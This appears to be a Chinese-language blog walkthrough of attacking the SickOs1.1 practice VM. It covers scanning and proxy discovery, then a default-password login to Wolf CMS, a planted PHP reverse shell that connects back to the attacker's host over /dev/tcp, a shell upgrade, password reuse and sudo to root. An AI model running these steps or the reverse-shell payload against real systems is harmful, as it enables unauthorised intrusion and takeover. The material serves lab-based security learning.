前提配置因为是虚拟机配置靶场的原因要让攻击机与虚拟机的网站处于同一个局域网这样无论是虚拟机kali还是自己物理机对虚拟机靶场的渗透操作都能保证攻击机对靶机是能够正常的通讯和访问在键盘上按下winr弹出后窗口框内输入cmd在命令行窗口内输入ipconfig/all查看自己的wlan网卡的信息如果是用有线网络连接就查看自己有线网卡名称打开wmware在编辑中的打开虚拟网络编辑器讲网卡配置设置为桥接模式并桥接到自己所查看的网卡信息在虚拟机编辑里面将虚拟机的网络适配器更改为桥接模式如果攻击机为虚拟机也将攻击机进行同步操作一、信息收集因为这里的靶机是搭建在内网上所以这里使用内网探针进行ip探查。如果是公网的环境就可以使用开发者工具、网络搜索引擎和ping域名等方法进行探测如果存在cdn的情况下就再考虑其他后面我会单独写一篇公网信息收集的情况会说到具体情况的所以这里就不过多赘述了对靶机的ip进行探测使用工具命令为netdiscover -r 内网网段 -i 攻击机网卡也可以使用其他工具进行探针如nmaparp-scan等这里发现我无论如何都无法ping通目标主机但是我使用内网探针和存活率测试是能够发现它的存在所以可能这几种情况目标主机防火墙 / 安全策略禁用 ICMP 协议存活探测基于二层 ARP 扫描Ping 为三层 ICMP二层可达但三层被拦截目标主机仅开放部分 TCP/UDP 端口未放行 ICMP本机或网络设备 ACL 策略过滤 ICMP 报文目标 IP 存在冲突、虚拟 IP 或代理转发导致 ICMP 无响应网络设备对 ICMP 做 QoS 限速或丢包处理但是目前我们没有其他的信息去排查相应的情况只能进行使用更深入的内网探测来进行信息寻找。nmap是一种很常用的网络探测工具这里先补充一下它的常用命令以及用法nmap 10.10.10.10 # 扫描常见端口nmap -sn/-Pn 10.10.10.0/24 # 只探测存活主机不扫端口nmap -p- 10.10.10.10 # 扫描全部 65535 个端口全端口扫描nmap -sV 10.10.10.10 # 扫描版本号Apache/PHP/SMTP 等nmap -A 10.10.10.10 # 强力扫描版本系统路由脚本nmap -O 10.10.10.10 # 只扫描操作系统nmap --scriptvuln 10.10.10.10 # 扫常见漏洞nmap --scriptvuln -p 80 10.10.10.10 # 只扫 80 端口漏洞nmap --scripthttp-enum 10.10.10.10 # 扫后台/目录nmap --scripthttp-sql-injection 10.10.10.10 # 扫SQL注入nmap --scripthttp-title 10.10.10.10 # 看网页标题nmap -T4 10.10.10.10 # 速度快日常用nmap -T5 10.10.10.10 # 极快容易被封nmap -Pn 10.10.10.10 # 禁ping直接扫防火墙机器nmap -oN result.txt 10.10.10.10 #保存结果可以结合使用如nmap -T4 -sV -p- ip地址我们尝试使用nmap来进行更深入的存活探查工具命令为nmap -Pn -p- 10.10.132.146由此我们发现了3128端口存在squid代理服务所以可以知道为什么ping不通的原因因为网站开放了 SSH 远程管理和 Squid 代理服务其余端口和服务全部被防火墙过滤。所以也导致我们ping不通的原因同理也间接发现了这个靶机的代理服务是代理http协议但是我们通过寻常的方法访问肯定是访问不了的Squid代理服务知识点补充Squid是一款开源、高性能的代理缓存服务器软件主要功能是Web 缓存加速代理服务访问控制安全与匿名运行环境跨平台主要运行在 Linux、Unix 系统也支持 Windows。通过发现该靶场的网站服务是通过3128的Squid来进行代理所以我们想要去访问该网站的页面也只能通过代理的方式访问。接下来我们对浏览器进行代理配置通过分析靶场是通过3128端口来代理8080端口而8080端口对外是closed关闭这个靶场是通过本机端口代理本机端口但有些情况可能会由另外的专门的代理服务器来进行端口服务代理所以我们将浏览器的代理换成该靶机下的3128端口来进行对http进行访问我这里是使用火狐浏览器进行配置参考这里点击设置点击常规划在最下面点击网路设置中的设置点击为手动代理IP地址为靶机ip将端口改为代理端口点击确定。这样我们的访问的流量就可以通过该靶机的服务器的代理端口进行访问再次进行访问发现访问成功。我们设置代理后我们能够正常访问该网站的http服务了但是该网站并没有什么有价值的东西就算查看网站源代码也什么的没有接下来我们只能对该网站进行目录扫描看看有什么有用的信息但是要注意我们是通过设置浏览器的代理后才能够访问该网站同理我们进行目录扫描时也要相对应的对工具进行代理设置不然什么也扫描不出来。使用dirb工具对网站路径文件进行目录扫描工具命令为dirb 网站url -p 代理服务器的ip和端口发现扫描出这几个路径但是第一个路径和最后一个路径报出了403错误我们不能正常访问它。接下来先对这几个目录进行访问来进行信息收集。/robots.txt路径知识点补充/robots.txt 是 Robots Exclusion Protocol爬虫排除协议 的实现作用是告诉搜索引擎爬虫如Googlebot、Baiduspider哪些页面可以抓取、哪些禁止抓取。保护后台、隐私目录、临时文件减轻服务器压力、优化 SEO 抓取效率。我在访问前面能访问的网站路径时并没有什么其他有用的东西但是访问路径/robotx.txt时出现了 /wolfcms 似乎是个隐藏的可疑路径我们对其进行访问尝试。访问 /wolfcms 时突然出现了这个界面。通过观察我发现在about me关于我下面有这一句话Im just a demonstration of how easy it is to use Wolf CMS to power a blog.我只是演示怎么展示使用 Wolf CMS 构建博客是多么容易。由此可以看出这个网站很可能就算使用一个叫wolfcms的cms搭建的博客。CMS知识点补充:CMS是位于 Web 前端与后端数据之间的应用软件系统用白话来讲就是别人写好的、现成的网站后台程序站在开发的角度看这样直接下载可以节省很多的时间、人力和物力但是由于谁都可以在网上下载cms代码也导致cms代码是公开或者半公开的状态漏洞数量多、利用链成熟。我们先尝试先对该CMS有没有已知的可利用漏洞看看能不能寻找相应的payload。通过msf和kali自带的漏洞库进行漏洞寻找发现只有kali中自带的漏洞库里面有出现关于这个CMS两个csrf漏洞和一个重定向漏洞的信息但是目前我们在这个后台界面里面并没有进入它的管理员界面并且我们的目的是完全入侵该靶场所以目前搜索到的这个几个漏洞对我们的帮助并不大我突然发现这些网站路径后面都有个/wolfcms/所以大胆猜想一下很可能该网站的后台管理界面可能也在这个目录之下尝试对该网站的/wolfcms/下的进行路径扫描看看我们的猜测是否正确使用工具命令为dirb 靶机网站/wolfcms/? -p 靶机代理服务器代理端口我们发现在该目录下有个admin的目录我们来进行访问发现该网站CMS的后台登录界面证明我们的猜想正确但是我们目前不知道账号和密码我们在网上搜索看看能不能搜索出该CMS的默认密码因为万一该网站的管理员没有重新设置密码而使用的默认密码如果管理员修改密码了我们寻找其他方法能够搜索出来我们来进行尝试ok登陆成功看来我们赌对了二、漏洞利用我们通过观察该后台存在文件存放目录并且可以修改文件内容我们现场时这里是否能够正常运行php文件我们先随便打开一个文件尝试着输入phpinfo函数来检测该网站是否能够正常运行php代码通过点击访问该文件看看函数是否能够奏效成功奏效说明该网站能够正常运行php接下来我们可以尝试使用php的反弹shell来进行远程连接将刚才的php指针函数换成php反弹shell程序?php shell_exec(/bin/bash -c bash -i /dev/tcp/攻击机ip/监听端口 01); ?然后保存。攻击机同步开启nc 监听端口 与反弹shell端口一致通过访问存放反弹shell的文件进行触发通过查看监听端口发现连接成功三、提升权限我们发现目前我们控制并不完全我们先将交互提升完全这样才方便进行接下来的提权操作通过python -v 命令发现有含有python环境我们可以尝试python中的pty模块来进行交互提升完整终端交互的知识点补充使用ncmetasploit的shell连接工具所显示的终端是不完整的是所谓的“哑终端”不能用上下键翻历史、不能清屏、不能用 tab 补全在执行susudo提权命令时是会提示standard in must be a tty标准输入必须是一个 TTY也就是不能执行相关的提权操作这时候就需要升级终端。使用python -c import pty;pty.spawn(/bin/bash)python环境下执行和script -qc /bin/bash /dev/null任何环境下都可以执行来提升交互并且在攻击机上执行stty raw -echo;fg;reset来在攻击机本地终端执行命令这样就算使用ctrlc也不会退出连接终端输入命令 python -c import pty;pty.spawn(/bin/bash)来提升交互pty是python的伪终端模块使用函数pty.spawn来创建一个伪终端python -c 意思是让python直接执行后面的python语句ctrlz将控制退为后台在攻击机终端上使用命令stty raw -echo;fg;resetstty raw -echo让本地终端直接把按键信息传给远程 shellfg将后台的远程 shell 进程调回前台reset重置终端配置恢复正常显示等待几秒钟后按下回车就会发现出现了靶机的终端界面并且su命令是能正常运行的这样我们就完成了提升完整终端交互的操作。提升到完整的交互权限后我们查看该服务器的账户目前我们是www-date的网站用户并且我们发现sickos用户的shell类型为/bin/bash 说明这个账户也可以登录服务器但是目前我们不知道密码我们目前的思路是先去完整的的配置文件看看有没有网站的源码泄露。我们通过进入/var/www/wolfcms的网站的配置目录下发现了该网站的config.php配置文件一般里面会配置数据库的账户和密码我们通过查看文件发现了该网站数据库的账户密码数据库账户还是root按道理来讲我们应该登录数据库里面去找一些特殊的可执行函数或者一些信息但是我个人在研究靶机时我发现它给出除了root之外的一个能够登录的账户并且我翻遍这个文件都没有相关的密码所以我猜测看看有没有密码复用的情况就尝试着用这个密码来登录那两个目前可登录的账户一个root一个sickos很可惜root登陆失败我们尝试第二个账户惊喜居然登录成功了该操作存在有很大的运气成分因为对于网站管理员来说如果密码大多的话也不容易每个都能记得清清楚楚所以我们根据这个来进行密码复用的尝试我们查看该用户的权限发现该用户居然能以管理员的身份运行指令那接下来就简单了我们直接切换为root的bash终端就行了输入命令为sudo bash切换成功四、分享与总结本次是SickOs1.1靶机全渗透的一个渗透思路当然方法不唯一。此次靶场的思路讲解融入了真实渗透的逻辑推理以及关键知识点的补充说明以便读者有更好的学习体验。如果有更好的思路渗透思路的话欢迎提出建议如果有出现问题的地方也欢迎提出建议和批评。最后该靶场已经上传至这个账号的资源库感兴趣的同行可以自行免费下载如果没有在的话可能是因为还在审核中。